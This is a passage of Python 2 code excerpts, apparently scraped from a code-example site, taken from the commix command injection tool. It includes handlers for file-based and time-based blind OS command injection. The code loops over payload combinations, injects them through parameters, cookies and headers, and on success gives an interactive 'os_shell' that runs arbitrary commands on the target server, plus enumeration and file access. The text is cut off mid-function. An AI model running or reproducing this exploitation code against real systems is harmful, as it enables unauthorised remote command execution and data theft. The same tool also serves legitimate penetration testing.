              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again= "y"
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise SystemExit()

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                # if settings.VERBOSITY_LEVEL >= 1:
                #   print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                if go_back == True:
                  break
                if not menu.options.batch:
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = ""
                if len(gotshell) == 0:
                   gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      time.sleep(timesec)
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          # Update logs with executed cmds and execution results.
                          logs.executed_command(filename, cmd, shell)
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              # if settings.VERBOSITY_LEVEL >= 1:
              print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
Esempio n. 6
0
def do_check(url, filename):

    classic_state = False
    eval_based_state = False
    time_based_state = False
    file_based_state = False

    # Check if defined "--delay" option.
    if menu.options.delay:
        delay = menu.options.delay
    else:
        delay = settings.DELAY

    # Check if authentication is needed.
    if menu.options.auth_url and menu.options.auth_data:
        # Do the authentication process.
        authentication.authentication_process()
        # Check if authentication page is the same with the next (injection) URL
        if urllib2.urlopen(url).read() == urllib2.urlopen(
                menu.options.auth_url).read():
            print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
            sys.exit(0)
    elif menu.options.auth_url or menu.options.auth_data:
        print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
        sys.exit(0)
    else:
        pass

    # Check if HTTP Method is GET or POST.
    header_name = ""
    if not menu.options.data:
        http_request_method = "GET"
        if not settings.COOKIE_INJECTION \
        and not settings.USER_AGENT_INJECTION \
        and not settings.REFERER_INJECTION:
            url = parameters.do_GET_check(url)
        check_parameter = parameters.vuln_GET_param(url)
        the_type = " parameter "

    else:
        http_request_method = "POST"
        parameter = menu.options.data
        parameter = parameters.do_POST_check(parameter)
        check_parameter = parameters.vuln_POST_param(parameter, url)
        the_type = " parameter "

    # Load modules
    modules_handler.load_modules(url, http_request_method, filename)

    # Cookie Injection
    if settings.COOKIE_INJECTION == True:
        header_name = " Cookie"
        settings.HTTP_HEADER = header_name[1:].lower()
        check_parameter = parameters.specify_cookie_parameter(
            menu.options.cookie)
        the_type = " HTTP header "

    # User-Agent Injection
    elif settings.USER_AGENT_INJECTION == True:
        header_name = " User-Agent"
        settings.HTTP_HEADER = header_name[1:].replace("-", "").lower()
        check_parameter = ""
        the_type = " HTTP header "

    # Referer Injection
    elif settings.REFERER_INJECTION == True:
        header_name = " Referer"
        settings.HTTP_HEADER = header_name[1:].lower()
        check_parameter = ""
        the_type = " HTTP header "

    if len(check_parameter) > 0:
        settings.TESTABLE_PARAMETER = check_parameter

    # Check for session file
    if not menu.options.ignore_session:
        if os.path.isfile(settings.SESSION_FILE):
            if not menu.options.tech:
                menu.options.tech = session_handler.applied_techniques(
                    url, http_request_method)
            if session_handler.check_stored_parameter(url,
                                                      http_request_method):
                settings.LOAD_SESSION = True

    if menu.options.flush_session:
        session_handler.flush(url)

    if len(check_parameter) != 0:
        check_parameter = " '" + check_parameter + "'"

    print settings.INFO_SIGN + "Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."

    # Estimating the response time (in seconds)
    delay, url_time_response = requests.estimate_response_time(
        url, http_request_method, delay)

    # Check if it is vulnerable to classic command injection technique.
    if not menu.options.tech or "c" in menu.options.tech:
        if cb_handler.exploitation(url, delay, filename,
                                   http_request_method) != False:
            classic_state = True
    else:
        classic_state = False

    # Check if it is vulnerable to eval-based code injection technique.
    if not menu.options.tech or "e" in menu.options.tech:
        if eb_handler.exploitation(url, delay, filename,
                                   http_request_method) != False:
            eval_based_state = True
    else:
        eval_based_state = False

    # Check if it is vulnerable to time-based blind command injection technique.
    if not menu.options.tech or "t" in menu.options.tech:
        if tb_handler.exploitation(url, delay, filename, http_request_method,
                                   url_time_response) != False:
            time_based_state = True
    else:
        time_based_state = False

    # Check if it is vulnerable to file-based semiblind command injection technique.
    if not menu.options.tech or "f" in menu.options.tech:
        if fb_handler.exploitation(url, delay, filename, http_request_method,
                                   url_time_response) != False:
            file_based_state = True
    else:
        file_based_state = False

    if classic_state == eval_based_state == time_based_state == file_based_state == False:
        info_msg = settings.CRITICAL_SIGN + "The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
        if not menu.options.alter_shell:
            info_msg += " Use the option '--alter-shell'"
        else:
            info_msg += " Remove the option '--alter-shell'"
        info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
        print Back.RED + info_msg + Style.RESET_ALL

    sys.exit(0)
Esempio n. 7
0
def tb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    possibly_vulnerable = False
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    injection_type = "blind OS command injection"
    technique = "time-based command injection technique"

    if settings.VERBOSITY_LEVEL >= 1:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        print settings.print_info_msg(info_msg)

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        warn_msg = "The '--url-reload' option is not available in " + technique + "."
        print settings.print_warning_msg(warn_msg)

    #whitespace = checks.check_whitespaces()
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    how_long_statistic = []
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.TIME_BASED_STATE = True
                            cmd = shell = ""
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            settings.FOUND_HOW_LONG = how_long
                            settings.FOUND_DIFF = how_long - timesec
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        num_of_chars = num_of_chars + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for num_of_chars in range(6))
                        tag_length = len(TAG) + 4

                        for output_length in range(1, int(tag_length)):
                            try:
                                if alter_shell:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision_alter_shell(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)
                                else:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)

                                # Fix prefixes / suffixes
                                payload = parameters.prefixes(payload, prefix)
                                payload = parameters.suffixes(payload, suffix)

                                # Whitespace fixation
                                payload = re.sub(" ", whitespace, payload)

                                # Check for base64 / hex encoding
                                payload = checks.perform_payload_encoding(
                                    payload)

                                # Check if defined "--verbose" option.
                                if settings.VERBOSITY_LEVEL == 1:
                                    payload_msg = payload.replace("\n", "\\n")
                                    print settings.print_payload(payload_msg)
                                # Check if defined "--verbose" option.
                                elif settings.VERBOSITY_LEVEL > 1:
                                    info_msg = "Generating a payload for injection..."
                                    print settings.print_info_msg(info_msg)
                                    payload_msg = payload.replace("\n", "\\n")
                                    sys.stdout.write(
                                        settings.print_payload(payload_msg) +
                                        "\n")

                                # Cookie Injection
                                if settings.COOKIE_INJECTION == True:
                                    # Check if target host is vulnerable to cookie injection.
                                    vuln_parameter = parameters.specify_cookie_parameter(
                                        menu.options.cookie)
                                    how_long = tb_injector.cookie_injection_test(
                                        url, vuln_parameter, payload)

                                # User-Agent Injection
                                elif settings.USER_AGENT_INJECTION == True:
                                    # Check if target host is vulnerable to user-agent injection.
                                    vuln_parameter = parameters.specify_user_agent_parameter(
                                        menu.options.agent)
                                    how_long = tb_injector.user_agent_injection_test(
                                        url, vuln_parameter, payload)

                                # Referer Injection
                                elif settings.REFERER_INJECTION == True:
                                    # Check if target host is vulnerable to referer injection.
                                    vuln_parameter = parameters.specify_referer_parameter(
                                        menu.options.referer)
                                    how_long = tb_injector.referer_injection_test(
                                        url, vuln_parameter, payload)

                                # Custom HTTP header Injection
                                elif settings.CUSTOM_HEADER_INJECTION == True:
                                    # Check if target host is vulnerable to custom http header injection.
                                    vuln_parameter = parameters.specify_custom_header_parameter(
                                        settings.INJECT_TAG)
                                    how_long = tb_injector.custom_header_injection_test(
                                        url, vuln_parameter, payload)

                                else:
                                    # Check if target host is vulnerable.
                                    how_long, vuln_parameter = tb_injector.injection_test(
                                        payload, http_request_method, url)

                                # Statistical analysis in time responses.
                                how_long_statistic.append(how_long)

                                # Injection percentage calculation
                                percent = ((num_of_chars * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(
                                        ((num_of_chars * 100) / (total * 1.0)),
                                        2))

                                if percent == 100 and no_result == True:
                                    if not settings.VERBOSITY_LEVEL >= 1:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = ""
                                else:
                                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                        # Time relative false positive fixation.
                                        false_positive_fixation = False
                                        if len(TAG) == output_length:

                                            # Simple statical analysis
                                            statistical_anomaly = True
                                            if len(set(how_long_statistic[0:5])
                                                   ) == 1:
                                                if max(xrange(
                                                        len(how_long_statistic)
                                                ),
                                                       key=lambda x:
                                                       how_long_statistic[
                                                           x]) == len(TAG) - 1:
                                                    statistical_anomaly = False
                                                    how_long_statistic = []

                                            if timesec <= how_long and not statistical_anomaly:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                        # Identified false positive warning message.
                                        if false_positive_warning:
                                            warn_msg = "Unexpected time delays have been identified due to unstable "
                                            warn_msg += "requests. This behavior may lead to false-positive results.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            while True:
                                                if not menu.options.batch:
                                                    question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                                                    sys.stdout.write(
                                                        settings.
                                                        print_question_msg(
                                                            question_msg))
                                                    proceed_option = sys.stdin.readline(
                                                    ).replace("\n",
                                                              "").lower()
                                                else:
                                                    proceed_option = ""
                                                if len(proceed_option) == 0:
                                                    proceed_option = "c"
                                                if proceed_option.lower(
                                                ) in settings.CHOICE_PROCEED:
                                                    if proceed_option.lower(
                                                    ) == "s":
                                                        false_positive_fixation = False
                                                        raise
                                                    elif proceed_option.lower(
                                                    ) == "c":
                                                        timesec = timesec + 1
                                                        false_positive_fixation = True
                                                        break
                                                    elif proceed_option.lower(
                                                    ) == "q":
                                                        raise SystemExit()
                                                else:
                                                    err_msg = "'" + proceed_option + "' is not a valid answer."
                                                    print settings.print_error_msg(
                                                        err_msg)
                                                    pass

                                        # Check if false positive fixation is True.
                                        if false_positive_fixation:
                                            false_positive_fixation = False
                                            settings.FOUND_HOW_LONG = how_long
                                            settings.FOUND_DIFF = how_long - timesec
                                            if false_positive_warning:
                                                time.sleep(1)
                                            randv1 = random.randrange(1, 10)
                                            randv2 = random.randrange(1, 10)
                                            randvcalc = randv1 + randv2

                                            if settings.TARGET_OS == "win":
                                                if alter_shell:
                                                    cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")\""
                                                else:
                                                    cmd = "powershell.exe -InputFormat none write (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")"
                                            else:
                                                cmd = "expr " + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ""

                                            # Set the original delay time
                                            original_how_long = how_long

                                            # Check for false positive resutls
                                            how_long, output = tb_injector.false_positive_check(
                                                separator, TAG, cmd,
                                                whitespace, prefix, suffix,
                                                timesec, http_request_method,
                                                url, vuln_parameter, randvcalc,
                                                alter_shell, how_long,
                                                url_time_response)

                                            if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                               (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                               (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                                if str(output) == str(
                                                        randvcalc) and len(
                                                            TAG
                                                        ) == output_length:
                                                    possibly_vulnerable = True
                                                    how_long_statistic = 0
                                                    if not settings.VERBOSITY_LEVEL >= 1:
                                                        percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                    else:
                                                        percent = ""
                                            else:
                                                break
                                        # False positive
                                        else:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                percent = str(
                                                    float_percent) + "%"
                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                            continue
                                    else:
                                        if not settings.VERBOSITY_LEVEL >= 1:
                                            percent = str(float_percent) + "%"
                                            info_msg = "Testing the " + "(" + injection_type.split(
                                                " "
                                            )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                            sys.stdout.write(
                                                "\r" + settings.print_info_msg(
                                                    info_msg))
                                            sys.stdout.flush()
                                        continue
                                if not settings.VERBOSITY_LEVEL >= 1:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                            except KeyboardInterrupt:
                                raise

                            except SystemExit:
                                raise

                            except:
                                break
                            break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        if (len(TAG) == output_length) and \
                           (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

                            found = True
                            no_result = False
                            # Check injection state
                            settings.DETECTION_PHASE = False
                            settings.EXPLOITATION_PHASE = True
                            if settings.LOAD_SESSION:
                                possibly_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " parameter"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                header_name = " " + settings.CUSTOM_HEADER_NAME
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, the_type, header_name,
                                    http_request_method, vuln_parameter,
                                    payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            if not settings.VERBOSITY_LEVEL > 1 and not settings.LOAD_SESSION:
                                print ""

                            # Print the findings to terminal.
                            success_msg = "The"
                            if found_vuln_parameter == " ":
                                success_msg += http_request_method + ""
                            success_msg += ('', ' (JSON)')[
                                settings.IS_JSON] + the_type + header_name
                            success_msg += found_vuln_parameter + " seems injectable via "
                            success_msg += "(" + injection_type.split(
                                " ")[0] + ") " + technique + "."
                            print settings.print_success_msg(success_msg)
                            print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace(
                                "\n", "\\n") + Style.RESET_ALL
                            # Export session
                            if not settings.LOAD_SESSION:
                                shell = ""
                                session_handler.injection_point_importation(
                                    url,
                                    technique,
                                    injection_type,
                                    separator,
                                    shell,
                                    vuln_parameter,
                                    prefix,
                                    suffix,
                                    TAG,
                                    alter_shell,
                                    payload,
                                    http_request_method,
                                    url_time_response,
                                    timesec,
                                    original_how_long,
                                    output_length,
                                    is_vulnerable=menu.options.level)
                                #possibly_vulnerable = False
                            else:
                                settings.LOAD_SESSION = False

                            new_line = False
                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to enumerate again? [Y/n] > "
                                        enumerate_again = raw_input(
                                            "\n" + settings.print_question_msg(
                                                question_msg)).lower()
                                    else:
                                        enumerate_again = ""
                                    if len(enumerate_again) == 0:
                                        enumerate_again = "y"
                                    if enumerate_again in settings.CHOICE_YES:
                                        tb_enumeration.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        print ""
                                        break
                                    elif enumerate_again in settings.CHOICE_NO:
                                        new_line = True
                                        break
                                    elif enumerate_again in settings.CHOICE_QUIT:
                                        sys.exit(0)
                                    else:
                                        err_msg = "'" + enumerate_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                if menu.enumeration_options():
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, whitespace, timesec,
                                        http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        url_time_response)
                                    print ""

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                print ""
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to access files again? [Y/n] > "
                                        sys.stdout.write(
                                            settings.print_question_msg(
                                                question_msg))
                                        file_access_again = sys.stdin.readline(
                                        ).replace("\n", "").lower()
                                    else:
                                        file_access_again = ""
                                    if len(file_access_again) == 0:
                                        file_access_again = "y"
                                    if file_access_again in settings.CHOICE_YES:
                                        tb_file_access.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        break
                                    elif file_access_again in settings.CHOICE_NO:
                                        if not new_line:
                                            new_line = True
                                        break
                                    elif file_access_again in settings.CHOICE_QUIT:
                                        sys.exit(0)
                                    else:
                                        err_msg = "'" + file_access_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                # if not menu.enumeration_options() and not menu.options.os_cmd:
                                #   print ""
                                tb_file_access.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)

                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                cmd = menu.options.os_cmd
                                check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)
                                # Export injection result
                                tb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                print ""
                                logs.print_logs_notification(filename, url)
                                sys.exit(0)

                            if not new_line:
                                print ""

                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    gotshell = sys.stdin.readline().replace(
                                        "\n", "").lower()
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print ""
                                    print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        if false_positive_warning:
                                            warn_msg = "Due to unexpected time delays, it is highly "
                                            warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            false_positive_warning = False
                                        try:
                                            # Tab compliter
                                            if not readline_error:
                                                readline.set_completer(
                                                    menu.tab_completer)
                                                # MacOSX tab compliter
                                                if getattr(
                                                        readline, '__doc__', ''
                                                ) is not None and 'libedit' in getattr(
                                                        readline, '__doc__',
                                                        ''):
                                                    readline.parse_and_bind(
                                                        "bind ^I rl_complete")
                                                # Unix tab compliter
                                                else:
                                                    readline.parse_and_bind(
                                                        "tab: complete")
                                            cmd = raw_input("""commix(""" +
                                                            Style.BRIGHT +
                                                            Fore.RED +
                                                            """os_shell""" +
                                                            Style.RESET_ALL +
                                                            """) > """)
                                            cmd = checks.escaped_cmd(cmd)
                                            if cmd.lower(
                                            ) in settings.SHELL_OPTIONS:
                                                go_back, go_back_again = shell_options.check_option(
                                                    separator,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    whitespace,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    alter_shell,
                                                    filename,
                                                    technique,
                                                    go_back,
                                                    no_result,
                                                    timesec,
                                                    go_back_again,
                                                    payload,
                                                    OUTPUT_TEXTFILE="")
                                                if go_back and go_back_again == False:
                                                    break
                                                if go_back and go_back_again:
                                                    return True
                                            else:
                                                if menu.options.ignore_session or \
                                                   session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tb_injector.injection(
                                                        separator, maxlen, TAG,
                                                        cmd, prefix, suffix,
                                                        whitespace, timesec,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename,
                                                        url_time_response)
                                                    # Export injection result
                                                    tb_injector.export_injection_results(
                                                        cmd, separator, output,
                                                        check_how_long)
                                                    if not menu.options.ignore_session:
                                                        session_handler.store_cmd(
                                                            url, cmd, output,
                                                            vuln_parameter)
                                                else:
                                                    output = session_handler.export_stored_cmd(
                                                        url, cmd,
                                                        vuln_parameter)
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, output)
                                                print ""
                                        except KeyboardInterrupt:
                                            raise

                                        except SystemExit:
                                            raise

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
